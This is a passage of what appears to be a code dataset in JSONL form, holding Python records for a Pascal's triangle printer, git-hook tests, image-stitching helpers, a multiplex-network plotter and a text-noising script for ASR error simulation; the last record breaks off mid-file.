+{"seq_id":"57914765","text":"#pascal's triangle\nnum,a=int(input(\"enter no of rows\")),[]\nfor i in range(num):\n  row=[]\n  for j in range(i+1):\n    if(j==0 or j==i):\n      row.append(1)\n    else:\n      row.append(a[i-1][j-1]+a[i-1][j])\n  a.append(row)\nfor i in range(num):\n  for j in range(num-i-1):\n    print(end=\" \")\n  for j in range(i+1):\n    print(a[i][j],end=\" \")\n  print()\n  '''\n  OUTPUT\nenter no of rows5\n    1 \n   1 1 \n  1 2 1 \n 1 3 3 1 \n1 4 6 4 1 \n'''\n","sub_path":"pascal_Triangle.py","file_name":"pascal_Triangle.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"11309183","text":"\nimport unittest\nfrom unittest.mock import patch\n\nfrom guet.git.any_hooks_present import any_hooks_present\n\n\nclass TestAnyHooksPresent(unittest.TestCase):\n\n    @patch('guet.git.any_hooks_present.hook_present')\n    def test_any_hooks_present_checks_if_any_guet_required_hooks_are_present(self, mock_hook_present):\n        git_path = '/Users/user/workspace/project/.git'\n        hooks = ['pre-commit', 'post-commit', 'commit-msg']\n\n        def _side_effect(_git_path: str, hook_name: str):\n            return _git_path == git_path and hook_name in hooks\n\n        mock_hook_present.side_effect = _side_effect\n\n        self.assertTrue(any_hooks_present(git_path))\n\n    @patch('guet.git.any_hooks_present.hook_present')\n    def test_any_hooks_present_returns_true_if_any_off_the_hooks_are_present(self, mock_hook_present):\n        git_path = '/Users/user/workspace/project/.git'\n\n        mock_hook_present.side_effect = lambda _, hook_name: hook_name == 'pre-commit'\n        self.assertTrue(any_hooks_present(git_path))\n\n        mock_hook_present.side_effect = lambda _, hook_name: hook_name == 'post-commit'\n        self.assertTrue(any_hooks_present(git_path))\n\n        mock_hook_present.side_effect = lambda _, hook_name: hook_name == 'commit-msg'\n        self.assertTrue(any_hooks_present(git_path))\n","sub_path":"test/git/test_any_hooks_present.py","file_name":"test_any_hooks_present.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"20589274","text":"\"\"\"A collection of general use functions used by the stitch2d module\"\"\"\nimport os\nimport re\nimport shlex\nimport subprocess\nimport sys\nfrom textwrap import fill\n\nimport numpy as np\nfrom PIL import Image, ImageFilter\nfrom PySide2.QtWidgets import QApplication, QFileDialog\n\n\n\n\nIMAGE_MAP = {\n    '.jpg' : 'JPEG',\n    '.tif' : 'TIFF',\n    '.tiff' : 'TIFF'\n}\n\nCOLORS = {\n    'blue': (0, 0, 255),\n    'green': (0, 255, 0),\n    'red': (255, 0, 0),\n    'cyan': (0, 255, 255),\n    'magenta':(255, 0, 255),\n    'yellow': (255, 255, 0),\n    'black': (0, 0, 0),\n    'white': (255, 255, 255),\n}\n\n\n\n\ndef cluster(data, maxgap):\n    '''Group data such that successive elements differ by no more than maxgap\n\n       Based on http://stackoverflow.com/questions/14783947\n\n       Args:\n           data (list): list of numbers (either floats or integers)\n           maxgap (int): maximum acceptable gap between successive elements\n\n       Returns:\n           List of clusters\n    '''\n    data.sort()\n    groups = [[data[0]]]\n    for x in data[1:]:\n        if abs(x - groups[-1][-1]) <= maxgap:\n            groups[-1].append(x)\n        else:\n            groups.append([x])\n    return groups\n\n\ndef cprint(s, show=True):\n    \"\"\"Prints string only if conditional is true\n\n    Args:\n        s (str): string to print\n        show (bool): specifies whether to print\n\n    Returns:\n        None\n    \"\"\"\n    if bool(s) and show:\n        print(fill(s, subsequent_indent='  '))\n\n\ndef prompt(prompt, validator, confirm=False,\n           helptext='No help text provided', errortext='Invalid response!'):\n    \"\"\"Prompts user and validates response based on validator\n\n    Args:\n        prompt (str or unicode): prompt to display to user\n        validator (str, list, or dict): object used to validate user\n            response\n        confirm (bool): specifies whether to have user verify response\n        helptext (str or unicode): text to display if user enters '?'\n        errortext (str or unicode): text to display if response\n            does not validate\n\n    Returns:\n        A unicode string containing the validated user input\n\n    Raises:\n        Unspecified error: Validator is not dict, list, or str\n    \"\"\"\n    # Prepare string\n    prompt = u'{} '.format(prompt.rstrip())\n    # Prepare validator\n    if isinstance(validator, (str, str)):\n        validator = re.compile(validator, re.U)\n    elif isinstance(validator, dict):\n        prompt = '{}({}) '.format(prompt, '/'.join(list(validator.keys())))\n    elif isinstance(validator, list):\n        options = ['{}. {}'.format(x + 1, validator[x])\n                   for x in range(0, len(validator))]\n    else:\n        input(fill('Error in stitch2d.helpers.prompt: '\n                       'Validator must be dict, list, or str.'))\n        raise\n    # Validate response\n    loop = True\n    while loop:\n        # Print options\n        if isinstance(validator, list):\n            print('{}\\n{}'.format('\\n'.join(options), '-' * 60))\n        # Prompt for value\n        a = input(prompt)#.decode(sys.stdin.encoding)\n        if a.lower() == 'q':\n            print('User exited prompt')\n            sys.exit()\n        elif a.lower() == '?':\n            print(fill(helptext))\n            loop = False\n        elif isinstance(validator, list):\n            try:\n                i = int(a) - 1\n                result = validator[i]\n            except:\n                pass\n            else:\n                if i >= 0:\n                    loop = False\n        elif isinstance(validator, dict):\n            try:\n                result = validator[a]\n            except:\n                pass\n            else:\n                loop = False\n        else:\n            try:\n                validator.search(a).group()\n            except:\n                pass\n            else:\n                result = a\n                loop = False\n        # Confirm value, if required\n        if confirm and not loop:\n            try:\n                result = str(result)\n            except:\n                result = str(result)\n            loop = prompt('Is this value correct: \"{}\"?'.format(result),\n                          {'y' : False, 'n' : True}, confirm=False)\n        elif loop:\n            print(fill(errortext))\n    # Return value as unicode\n    return result\n\n\ndef mogrify(path, ext):\n    \"\"\"Uses ImageMagick to copy source files to a working directory\n\n    Requires ImageMagick to be installed and on the system path.\n\n    Args:\n        path (str): filepath to directory containing images\n        ext (str): extension of files to copy from path\n\n    Returns:\n        True if mogrify command succeeds, False if not\n    \"\"\"\n    cprint('There was a problem opening some of the tiles!\\n'\n           'Copying tiles into a usable format...')\n    ext = ext.strip('*.')\n    subdir = os.path.join(path, 'working')\n    try:\n        os.mkdir(subdir)\n    except OSError:\n        pass\n    cmd = 'mogrify -path \"working\" -format {0} *.{0}'.format(ext)\n    args = shlex.split(cmd)\n    try:\n        subprocess.call(args, cwd=path)\n    except:\n        return False\n    else:\n        return True\n\n\ndef mandolin(lst, n):\n    \"\"\"Split list into groups of n members\n\n    Based on http://stackoverflow.com/questions/9671224/\n\n    Args:\n        lst (list): list containing anything you like\n        n (int): length of members\n\n    Returns:\n        List of lists of n members. The last value is padded\n        with empty strings to n if the original list is not\n        exactly divisible by n.\n    \"\"\"\n    mandolined = [lst[i * n:(i + 1) * n] for i in range(len(lst) // n)]\n    remainder = len(lst) % n\n    if remainder:\n        leftovers = lst[-remainder:]\n        mandolined.append(leftovers + [''] * (n - len(leftovers)))\n    return mandolined\n\n\ndef read_image(fp, mode=None):\n    \"\"\"Reads image using PIL\"\"\"\n    im = Image.open(fp)\n    # Workaround to handle 16-bit images\n    data = np.array(im)\n    maxval = np.max(data)\n    if maxval > 255:\n        # Calculate pixel values based on the range of values in the original\n        def stretch(val, minval, maxval):\n            return 255 * (val - minval) / (maxval - minval)\n        minval = np.min(data)\n        data = np.array([stretch(x, minval, maxval) for x in data])\n        im = Image.fromarray(data)\n    if mode:\n        im = im.convert(mode)\n    return im\n\n\ndef get_color(im):\n    \"\"\"Determines the base color of a simple image\"\"\"\n    colors = [tuple([255 if ch else 0 for ch in color])\n              for color in [t[1] for t in im.getcolors(512)]\n              if not len(set(color)) == 1]\n    if len(set(colors)) > 1:\n        raise Exception('Color error: {}'.format(set(colors)))\n    return colors[0]\n\n\ndef recolor(im, to_color):\n    \"\"\"Converts a simple image to a new color\"\"\"\n    data = np.array(im).astype(np.uint16)\n    to_color = COLORS.get(to_color, to_color)\n    from_color = get_color(im)\n    if to_color != from_color:\n        from_channel = [i for i, val in enumerate(from_color) if val][0]\n        for i, ch in enumerate(to_color):\n            if ch and i != from_channel:\n                data[...,i] = data[...,from_channel]\n        # Zero any channel not found in to_color\n        for i, ch in enumerate(from_color):\n            if ch and not to_color[i]:\n                data[...,i] = 0\n    return Image.fromarray(data)\n\n\ndef brighten(im, minval):\n    def func(val, minval):\n        return minval + (255 - minval) * val // 255\n    arr = np.array(im)\n    arr[arr > 0] = np.apply_along_axis(func, 0, arr[arr > 0], minval=minval)\n    return Image.fromarray(arr)\n\n\ndef blur(im, radius):\n    blur = ImageFilter.GaussianBlur(radius)\n    try:\n        return im.filter(blur)\n    except ValueError:\n        return im.convert('RGB').filter(blur)\n\n\ndef _select_folder(title='Select tileset directory'):\n    \"\"\"Select directory using GUI\n\n    Args:\n        title (str): title of GUI window\n\n    Returns:\n        Path as to directory as string\n    \"\"\"\n    app = QApplication()\n    return QFileDialog.getExistingDirectory(caption=title)\n\n\ndef _guess_extension(path):\n    \"\"\"Determines extension based on files in path\n\n    Args:\n        path (str): path to folder containing tiles\n\n    Returns:\n        File extension of first valid file type\n    \"\"\"\n    for fn in os.listdir(path):\n        ext = os.path.splitext(fn)[1]\n        try:\n            IMAGE_MAP[ext.lower()]\n        except KeyError:\n            pass\n        else:\n            return ext\n    else:\n        msg = (u'Could not find a valid tileset in {} Supported image'\n                ' formats include {}').format(path, sorted(IMAGE_MAP))\n        raise Exception(msg)\n\n\n\n\ndef _get_coordinates(fn):\n    return tuple([int(c) for c in fn.split('@')[1].split(']')[0].split(' ')])\n","sub_path":"stitch2d/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":8686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"220280163","text":"\"\"\" \r\nDrawing multiplex network by getting datas from text file\r\n\"\"\"\r\n# Demet Turan <dxt261@cs.bham.ac.uk>\r\n\r\nimport argparse\r\nimport math\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nclass Drawing():\r\n    G = nx.Graph()\r\n    same_layer = []\r\n    different_layer = []\r\n    \r\n    # constructor of the class\r\n    def __init__(self):\r\n        pass\r\n\r\n    # create layer list\r\n    def list_of_layer(self,layerlist):\r\n        \"\"\"Insert Layer ids into a Dictionary\r\n        \r\n        Args:\r\n            layerlist (str): The name of the layer list file\r\n            \r\n        Returns:\r\n            dict: The dictionary of layer ids\r\n        \r\n        \"\"\"\r\n        layer_list = {}\r\n        f = open('%s.txt'% layerlist, \"r\")\r\n        counter = 1\r\n        for line in f:\r\n            seq = line.split()\r\n            layer_list[counter] = str(seq[0])\r\n            counter += 1\r\n        return layer_list\r\n    \r\n\r\n    # create nodelist\r\n    def list_of_node(self,nodelist):\r\n        \"\"\"Insert Node ids into a Dictionary\r\n        \r\n        Args:\r\n            nodelist (str): The name of the node list file\r\n            \r\n        Returns:\r\n            dict: The dictionary of node ids \r\n        \"\"\"\r\n        node_list = {}\r\n        f = open('%s.txt'% nodelist, \"r\")\r\n        counter = 1\r\n        for line in f:\r\n            seq = line.split()\r\n            node_list[counter] = str(seq[0])\r\n            counter += 1\r\n        return node_list\r\n\r\n    # place nodes\r\n    def placing_nodes(self, nodes, layers, G):\r\n        \"\"\"Place the nodes of each layer\r\n        \r\n        Args:\r\n            nodes(dict): Dictionary of node ids\r\n            layer(dict): Dictionary of layer ids\r\n            G(Graph): A Graph object\r\n        \"\"\"\r\n        k = math.sqrt(len(nodes))   # squareroot of number of nodes  \r\n\r\n        # to find an area for each layer n*n >= number of nodes\r\n        if k == math.floor(k):          # checking if k is an integer\r\n            n = int(k)                  # if k = a.0  then n = a\r\n        else:\r\n            n = int(k+1)                # if k = a.b and b>0 then n = a+1\r\n    \r\n        # arranging place of the nodes for each layer   \r\n        for r in range(len(layers)):\r\n            \r\n            # the first node's place is (0,0)\r\n            i = 0\r\n            j = 0\r\n            for s in range(len(nodes)):\r\n            \r\n                p = r * n             # p defines the place of each layer\r\n            \r\n                # each node has different name in different layers\r\n                node = str(nodes[s+1]) + '_' + str(layers[r+1])\r\n            \r\n                # placing nodes starting from the first row\r\n                if i<n:\r\n                    G.add_node(node , pos = ((i+p), (j+p)))\r\n                    i = i+1\r\n                # if first row is full go the the next row\r\n                else:\r\n                    i = 0\r\n                    j = j+1\r\n                    G.add_node(node , pos = ((i+p), (j+p)))\r\n                    i = i+1\r\n\r\n   \r\n   # function for drawing edges\r\n    def placing_edges(self,multiplex, G, same_layer, different_layer):\r\n        \"\"\"Place the edges between nodes\r\n        \r\n        Args:\r\n           multiplex(str): Name of the multiplex table\r\n           G(Graph): A Graph object\r\n           same_layer(list): List of edges which are in same layer\r\n           different_layer(list): List of edges which are in different layer \r\n        \"\"\"\r\n        \r\n        f = open('%s.txt'% multiplex, \"r\")\r\n        \r\n        for line4 in f:\r\n        \r\n            list4 = line4.split()\r\n            \r\n            # giving the same name to nodes as we did while placing the nodes\r\n            m = str(list4[0]) + '_' + str(list4[2])\r\n            n = str(list4[1]) + '_' + str(list4[3])\r\n\r\n            G.add_edge(m , n, weight= 1)\r\n        \r\n            if list4[2] == list4[3]:\r\n                same_layer.append((m,n))      #storing the edges which are in the same layer\r\n            else:\r\n                different_layer.append((m,n))   #storing the edges which are in different layers  \r\n\r\ndef parse_arguments():\r\n    parser = argparse.ArgumentParser(description=\r\n        \"\"\"Draw Multiplex Network\"\"\")\r\n    parser.add_argument(\"network\", help=\"network name\") \r\n    \r\n    return parser.parse_args()                 \r\n                                                \r\ndef main():\r\n    args = parse_arguments()\r\n    dr = Drawing()\r\n    multiplex = str(args.network) + \"_multiplex\"       # giving name to multiplex table\r\n    nodelist = str(args.network) + \"_node_list\"       # giving name to node list table\r\n    layerlist = str(args.network) + \"_layer_list\"     # giving name to layer list table                  \r\n    # list of all layers\r\n    list_of_layers = dr.list_of_layer(layerlist)\r\n    # list of all nodes\r\n    list_of_nodes = dr.list_of_node(nodelist)\r\n    # graph object\r\n    G = dr.G\r\n    # same layer list is for the edges where each node is in the same layer\r\n    same_layer = dr.same_layer\r\n    # different layer list is for the edges where each node is in different layer\r\n    different_layer = dr.different_layer \r\n    # place the nodes\r\n    dr.placing_nodes(list_of_nodes, list_of_layers, G)\r\n    # place the edges\r\n    dr.placing_edges(multiplex, G, same_layer, different_layer)\r\n               \r\n    pos = nx.get_node_attributes(G, 'pos')\r\n\r\n    # draw nodes\r\n    nx.draw_networkx_nodes(G, pos, node_size=1000/(len(list_of_nodes) * len(list_of_layers)), node_color='k') \r\n\r\n    # draw the edges in the same layer\r\n    nx.draw_networkx_edges(G,pos,edgelist=same_layer, width=0.5, edge_color = 'c')\r\n\r\n    # draw the edges in different layers\r\n    nx.draw_networkx_edges(G,pos,edgelist=different_layer, width=0.5, alpha=0.5,edge_color='0.20',style='dashed')\r\n\r\n    plt.axis('off')\r\n    plt.show()\r\n    \r\nif __name__ == '__main__':\r\n    main()\r\n    ","sub_path":"src/draw_multiplex_text.py","file_name":"draw_multiplex_text.py","file_ext":"py","file_size_in_byte":5838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"295184597","text":"import argparse\nimport ntpath\nimport os\nimport re\nimport sys\nimport time\n\nfrom jiwer import wer\n\nfrom generators.factory import GeneratorFactory as generator_factory\nimport logger\nimport utils\nfrom language_model import LM\nfrom noise.noise_dict import NoiseFromDict\nfrom noise.noise_phoneme import NoiseFromP2G\nfrom run_statistics_on_results import wer_over_files\nfrom sentence_graph import SamplingGraph\n\n\nclass HomoNoiserScript:\n\n    def __init__(self, generator, **kwargs):\n        self.verbose = kwargs.get(\"verbose\", False)\n\n        # Error params\n        self.max_M = kwargs.get(\"max_m\", 2)\n        self.max_N = kwargs.get(\"max_n\", 2)\n        self.sampling_m = kwargs.get(\"sampling_m\", \"weighted\")\n        self.sampling_n = kwargs.get(\"sampling_n\", \"weighted\")\n        self.error_rate = kwargs.get(\"error_rate\", 0.3)\n        self.error_model = kwargs.get(\"error_model\", 'phoneme')\n        self.cnt_error_samples = kwargs.get(\"error_samples\", 5)\n        self.sampling_error_samples = kwargs.get(\"sampling_error_samples\", \"weighted\")\n\n        # Sentence error parameters\n        self.min_wer = kwargs.get(\"min_wer\", 0.1)\n        self.max_wer = kwargs.get(\"max_wer\", 0.6)\n        self.cnt_sentence_samples = kwargs.get(\"sentence_samples\", 10)\n        self.sampling_sentence_samples = kwargs.get(\"sampling_sentence_samples\", \"weighted_lm\")\n        self.use_lm = kwargs.get(\"use_lm\", True)\n        self.lm_name = kwargs.get(\"bert_lm\", None)\n\n        # Phoneme model parameters\n        self.g2p_model = kwargs.get(\"g2p_model\", None)\n        self.p2g_model = kwargs.get(\"p2g_model\", None)\n        self.lexicon = kwargs.get(\"lexicon\", None)\n\n        # Dictionary model parameters\n        self.dictionary_filename_list = kwargs.get(\"dictionary_filename_list\", None)\n        self.jaro_winkler_threshold = kwargs.get(\"jaro_winkler_threshold\", 0.8)\n        # Embedding model parameters\n        # ---\n\n        # Target parameters\n        self.base_target_dir = kwargs.get(\"base_target_dir\", None)\n\n        # Set logger\n        self.logger = logger.BasicLogger.setupLogger(verbose=self.verbose)\n\n        # Check everything is OK\n        self.checkConfig()\n\n        # Set Generator\n        self.generator = generator\n\n        noise_generator = self.get_noise_generator()\n\n        self.sentence_graph = SamplingGraph(noise_generator=noise_generator,\n                                            error_prob=self.error_rate,\n                                            max_M=self.max_M,\n                                            sampling_M=self.sampling_m,\n                                            sampling_N=self.sampling_n,\n                                            sampling_error_samples=self.sampling_error_samples)\n\n        # Check if target directory is empty\n        self.input_filename_list = kwargs.get(\"input_filename_list\", None)\n        self.input_source_dir = kwargs.get(\"input_source_dir\", None)\n\n        self.check_target_directory(self.base_target_dir, self.input_filename_list)\n\n        # Set LM\n        if self.use_lm:\n            self.logger.info('loading {} model'.format(self.lm_name))\n            self.bert_lm = LM(self.lm_name)\n        else:\n            self.bert_lm = None\n            self.logger.info(\"Language model not used\")\n\n    def delete_files(self, list_of_filenames):\n        import shutil\n        for file_path in list_of_filenames:  # os.listdir(folder):\n            # file_path = os.path.join(folder, filename)\n            try:\n                if os.path.isfile(file_path) or os.path.islink(file_path):\n                    os.unlink(file_path)\n                elif os.path.isdir(file_path):\n                    shutil.rmtree(file_path)\n            except Exception as e:\n                print('Failed to delete %s. Reason: %s' % (file_path, e))\n\n    def check_target_directory(self, base_target_dir, file_list):\n        \"\"\"\n        https://stackoverflow.com/questions/185936/how-to-delete-the-contents-of-a-folder\n        \"\"\"\n\n        with open(file_list) as f:\n            files_list = [line.rstrip() for line in f]\n        list_of_filenames = [os.path.join(base_target_dir, f) for f in files_list]\n\n        existing_files = []\n        for file_path in list_of_filenames:\n            if os.path.isfile(file_path):\n                existing_files.append(file_path)\n\n        if len(existing_files) > 0:\n            self.logger.error(\"!!!!! Target directory already contains target files !!!!! ----- Should the files be deleted ????? [Y/N]\")\n            time.sleep(0.5)\n            print(\"delete files? [Y/N]: \", end=\"\")\n            while True:\n                input1 = input()\n                input1 = input1.lower()\n                if input1 == \"y\":\n                    self.logger.warning(\"Deleting files ...\")\n                    self.delete_files(existing_files)\n                    break\n                if input1 == \"n\":\n                    self.logger.error(\"Move files somewhere else ... exiting now!\")\n                    exit(1)\n                print(\"delete files? [Y/N]: \", end=\"\")\n                # self.logger.error(\"????? Should the files be deleted ????? [Y/N]\")\n\n    def get_noise_generator(self):\n        if self.error_model == \"phoneme\":\n            return NoiseFromP2G(g2p_model_path=self.g2p_model,\n                                p2g_model_path=self.p2g_model,\n                                pronounc_dict_path=self.lexicon,\n                                cnt_error_samples=self.cnt_error_samples,\n                                max_N=self.max_N)\n\n        elif self.error_model == \"dictionary\":\n            return NoiseFromDict(db_file_list=self.dictionary_filename_list,\n                                 threshold=self.jaro_winkler_threshold,\n                                 cnt_error_samples=self.cnt_error_samples,\n                                 max_N=self.max_N)\n        else:\n            self.logger.error(\"Error model not implemented: {}\".format(self.error_model))\n            raise NotImplementedError\n\n    def which(self, program):\n        \"\"\"Basic 'which' implementation for python.\n\n        Basic 'which' implementation for python from stackoverflow:\n          * https://stackoverflow.com/a/377028/6739158\n        \"\"\"\n\n        def is_exe(fpath):\n            return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n        fpath, fname = os.path.split(program)\n        if fpath:\n            if is_exe(program):\n                return program\n        else:\n            for path in os.environ[\"PATH\"].split(os.pathsep):\n                path = path.strip('\"')\n                exe_file = os.path.join(path, program)\n                if is_exe(exe_file):\n                    return exe_file\n\n        return None\n\n    def validateLexicon(self):\n        validator_pattern = u\"[\\\\}\\\\|_]\"  # python2: unicode, python3: str\n        validator = re.compile(validator_pattern)\n\n        with open(self.lexicon, \"r\") as ifp:\n            for line in ifp:\n                if validator.search(line):\n                    error = \"Bad line contains reservered character:\\n\\t{0}\"\n                    error = error.format(line)\n                    raise ValueError(error)\n\n        return\n\n    def checkConfig(self):\n        self.logger.info(\"Checking command configuration...\")\n        for program in [\"phonetisaurus-g2pfst\", \"phonetisaurus-align\", \"phonetisaurus-arpa2wfst\"]:\n            if not self.which(program):\n                raise EnvironmentError(\n                    \", \".join([\n                        \"Phonetisaurus command, '{0}'\",\n                        \"not found in path.\"\n                    ]).format(program)\n                )\n\n        # Create target_meta directory if not exists\n        if not os.path.isdir(self.base_target_dir):\n            self.logger.debug(\"Directory does not exist.  Trying to create.\")\n            os.makedirs(self.base_target_dir)\n\n        if self.error_model == 'phoneme':\n            self.logger.info(\"Checking lexicon for reserved characters: '}', '|', '_'...\")\n            self.validateLexicon()\n\n        # Basic assertions\n        if self.max_M < 1:\n            self.logger.error(\"max_M must be >= 1, but {} given\".format(self.max_M ))\n            raise ValueError\n        if self.max_N < 1:\n            self.logger.error(\"max_N must be >= 1, but {} given\".format(self.max_N))\n            raise ValueError\n        if self.cnt_error_samples < 1:\n            self.logger.error(\"cnt_error_samples must be >= 1, but {} given\".format(self.cnt_error_samples))\n            raise ValueError\n        if not 0.0 <= self.error_rate <= 1.0:\n            self.logger.error(\"error_rate must be in [0,1], but: {} was given\".format(self.error_rate))\n            raise ValueError\n        if not 0.0 <= self.min_wer <= 1.0:\n            self.logger.error(\"min_wer must be in [0,1], but: {} was given\".format(self.min_wer))\n            raise ValueError\n        if not 0.0 <= self.max_wer <= 1.0:\n            self.logger.error(\"max_wer must be in [0,1], but: {} was given\".format(self.max_wer))\n            raise ValueError\n        if self.cnt_sentence_samples < 1:\n            self.logger.error(\"cnt_sentence_samples must be >= 1, but {} given\".format(self.cnt_sentence_samples))\n            raise ValueError\n\n        # Other basic assertions\n        if self.sampling_m not in ['uniform', 'weighted']:\n            self.logger.error(\"sampling_m options are {}\".format(['uniform', 'weighted']))\n            raise ValueError\n        if self.sampling_n not in ['uniform', 'weighted']:\n            self.logger.error(\"sampling_n options are {}\".format(['uniform', 'weighted']))\n            raise ValueError\n        if self.error_model not in ['phoneme', 'dictionary', 'embedding']:\n            self.logger.error(\"sampling_n options are {}\".format(['phoneme', 'dictionary', 'embedding']))\n            raise ValueError\n        if self.sampling_error_samples not in ['weighted', 'uniform']:\n            self.logger.error(\"sampling_error_samples options are {}\".format(['weighted', 'uniform']))\n            raise ValueError\n        if self.sampling_sentence_samples not in ['uniform', 'weighted_lm', 'max_lm']:\n            self.logger.error(\"sampling_sentence_samples options are {}\".format(['uniform', 'weighted_lm', 'max_lm']))\n            raise ValueError\n\n        if self.error_model == 'phoneme':\n            if not os.path.isfile(self.p2g_model):\n                self.logger.error(\"p2g_model not found: {}\".format(self.p2g_model))\n                raise FileNotFoundError\n            if not os.path.isfile(self.g2p_model):\n                self.logger.error(\"g2p_model not found: {}\".format(self.g2p_model))\n                raise FileNotFoundError\n            if not os.path.isfile(self.lexicon):\n                self.logger.error(\"lexicon not found: {}\".format(self.lexicon))\n                raise FileNotFoundError\n\n        if self.error_model == 'dictionary':\n            if not os.path.isfile(self.dictionary_filename_list):\n                self.logger.error(\"dictionary_filename_list not found: {}\".format(self.dictionary_filename_list))\n                raise FileNotFoundError\n\n        if self.error_model == 'embedding':\n            self.logger.error(\"error model: {} not yet implemented\".format(self.error_model))\n            raise NotImplementedError\n\n        items = vars(self).items()\n        for key, val in sorted(items):\n            self.logger.debug(u\"{0}:  {1}\".format(key, val))\n        return\n\n    def run(self):\n        # For all sentences in the dataset ...\n        for s in input_sentence_generator:\n            source_doc_path, sentence_id, sentence = s\n\n            # We must add sentence to the graph\n            self.sentence_graph.set_sentence(sentence)\n\n            # Score of the original sentence (only for debug purposes ...)\n            if self.verbose:\n                if self.bert_lm is not None:\n                    score = self.bert_lm.get_score(sentence)\n                    self.logger.debug(\"LM[{:.2f}]{}\".format(score, sentence))\n                else:\n                    self.logger.debug(\"LM[ - ]{}\".format(sentence))\n\n            # Now we generate multiple (cnt_sentence_samples) \"noisified variants\" from current sentence\n            avg_wer = 0\n            samples_list = []\n\n            # A. Crate samples\n            tries = -1\n            while True:\n                tries += 1\n\n                # all samples collected ( or we  do not want to wait too long ... )\n                if len(samples_list) == self.cnt_sentence_samples or tries*2 > self.cnt_sentence_samples:\n                    break\n\n                debug, sample = self.sentence_graph.sample_sentence()\n                if self.bert_lm is not None:\n                    score = self.bert_lm.get_score(sample)\n                else:\n                    score = 1.\n                error = wer(sentence, sample)\n\n                if self.min_wer <= error <= self.max_wer :\n                    avg_wer += error\n                    samples_list.append((sample, score, error))\n\n            # DEBUG: print the all sentence the variants\n            if self.verbose:\n                for sam in samples_list:\n                    sample, score, error = sam\n                    if self.bert_lm is not None:\n                        self.logger.debug(\" LM[{:.2f}] WER[{:.2f}]{}\".format(score, error, sample))\n                    else:\n                        self.logger.debug(\" LM[ - ] WER[{:.2f}]{}\".format(error, sample))\n\n                self.logger.debug(\"avg WER: {:.2f}\".format(avg_wer / self.cnt_sentence_samples))\n\n            # B. Finally we choose one sentence .....\n            if len(samples_list) == 0:\n                selected_sentence = sentence\n            else:\n                sentences = []\n                lm_weights = []\n                for s in samples_list:  # (sentence, LM, WER)\n                    sentences.append(s[0])\n                    lm_weights.append(s[1])\n                selected_sentence = utils.choice(sentences, lm_weights)\n\n            # And we write it to file\n            source_doc = ntpath.basename(source_doc_path)\n            target_doc_path = os.path.join(self.base_target_dir, source_doc)\n            if os.path.isfile(target_doc_path):\n                newline = True\n            else:\n                newline = False\n            with open(target_doc_path, \"a\") as file:\n                if newline:\n                    file.write(\"\\n\")\n                file.write(selected_sentence)\n        self.logger.info(\"All files successfully processed\")\n        self.logger.info(\"Calculating WER on files...\")\n        time.sleep(0.5)\n        return wer_over_files(self.input_source_dir, self.base_target_dir, self.input_filename_list)\n\n\ndef get_generator(**kwargs):\n    input_source_dir = kwargs.get(\"input_source_dir\", None)\n    input_filename_list = kwargs.get(\"input_filename_list\", None)\n\n    # todo CzEng generator\n    generator_class = \"SentencesFromListOfFiles\"\n    generator = generator_factory.get_generator_class(generator_class, input_source_dir, input_filename_list)\n    return generator\n\n\nif __name__ == \"__main__\":\n    \"\"\"\n    To run the HomoNoiser in with 'phoneme' error model you need to provide p2g, g2p models\n    -> in train_phoneme are two scripts that generate it\n    To run the HomoNoiser with 'dictionary' error model you need to provide dictionary (hash or direct)\n    -> in train_dictionary are scripts that generate it\n    \"\"\"\n    example = \"{0} -er 0.3 -src example-input -lst input-files-list.txt -tg example-output --lexicon train_phoneme/cmudict.formatted.dict --p2g train_phoneme/model/p2g.fst  --g2p train_phoneme/model/g2p.fst \".format(\n        sys.argv[0])\n    parser = argparse.ArgumentParser(description=example)\n    parser.add_argument(\"--verbose\", \"-v\", help=\"Verbose mode.\", default=False, action=\"store_true\")\n\n    # Input files:\n    parser.add_argument(\"--input_source_dir\", \"-src\", type=str, default=\"example-input\",\n                        help=\"Base directory with the source files\")\n    parser.add_argument(\"--input_filename_list\", \"-lst\", type=str, default=\"input-files-list.txt\",\n                        help=\"File with list of all source files\")\n    # Target directory:\n    parser.add_argument(\"--base_target_dir\", \"-tg\", type=str, default=\"example-output\",\n                        help=\"Directory for nosified files\")\n\n    # Main error parameters:\n    parser.add_argument(\"--max_m\", \"-mm\", type=int, default=2,\n                        help=\"M:N errors. maximum number of source words (M) in single error.\")\n    parser.add_argument(\"--max_n\", \"-nm\", type=int, default=2,\n                        help=\"M:N errors. maximum number of target_meta words (N) in single error.\")\n    parser.add_argument(\"--error_rate\", \"-er\", type=float, default=0.3,\n                        help=\"Probability of error. Because we have M:N errors and not only 1:1 errors, WER may be a bit higher then error rate.\")\n    parser.add_argument(\"--error_model\", \"-em\", type=str, default='phoneme',\n                        help=\"How error is generated; options:['phoneme', 'dictionary', 'embedding']. Currently only phoneme is implemented here...\")\n\n    # Additional error parameters:\n    parser.add_argument(\"--sampling_m\", \"-ms\", type=str, default='weighted',\n                        help=\"How 'M' is sampled for M:N error; options:['uniform','weighted']; 'weighted' := higher the M, lower the probability)\")\n    parser.add_argument(\"--sampling_n\", \"-ns\", type=str, default='weighted',\n                        help=\"How 'N' is sampled for M:N error; options:['uniform','weighted']; 'weighted' := higher the N, lower the probability)\")\n    parser.add_argument(\"--error_samples\", \"-ev\", type=int, default=5,\n                        help=\"How many different errors are generated for singe error (we sample from this)... increases variance of error\")\n    parser.add_argument(\"--sampling_error_samples\", \"-ses\", type=str, default='weighted',\n                        help=\"How error is sampled from available error samples; options:['weighted', 'uniform']. 'weighted' := higher the error score (score depends on error model), higher the probability\")\n\n    # LM model parameters\n    parser.add_argument(\"--use_lm\", \"-ulm\", type=bool, default=True, help=\"Use the language model or not ...\")\n    parser.add_argument(\"--bert_lm\", \"-lm\", type=str, default=\"bert-base-uncased\",\n                        help=\"Which pre-trained Bert to choose from available torch models\")\n\n    # Sentence level parameters:\n    parser.add_argument(\"--min_wer\", \"-miw\", type=float, default=0.1,\n                        help=\"Limit the variance of the WER across the sentences.\")\n    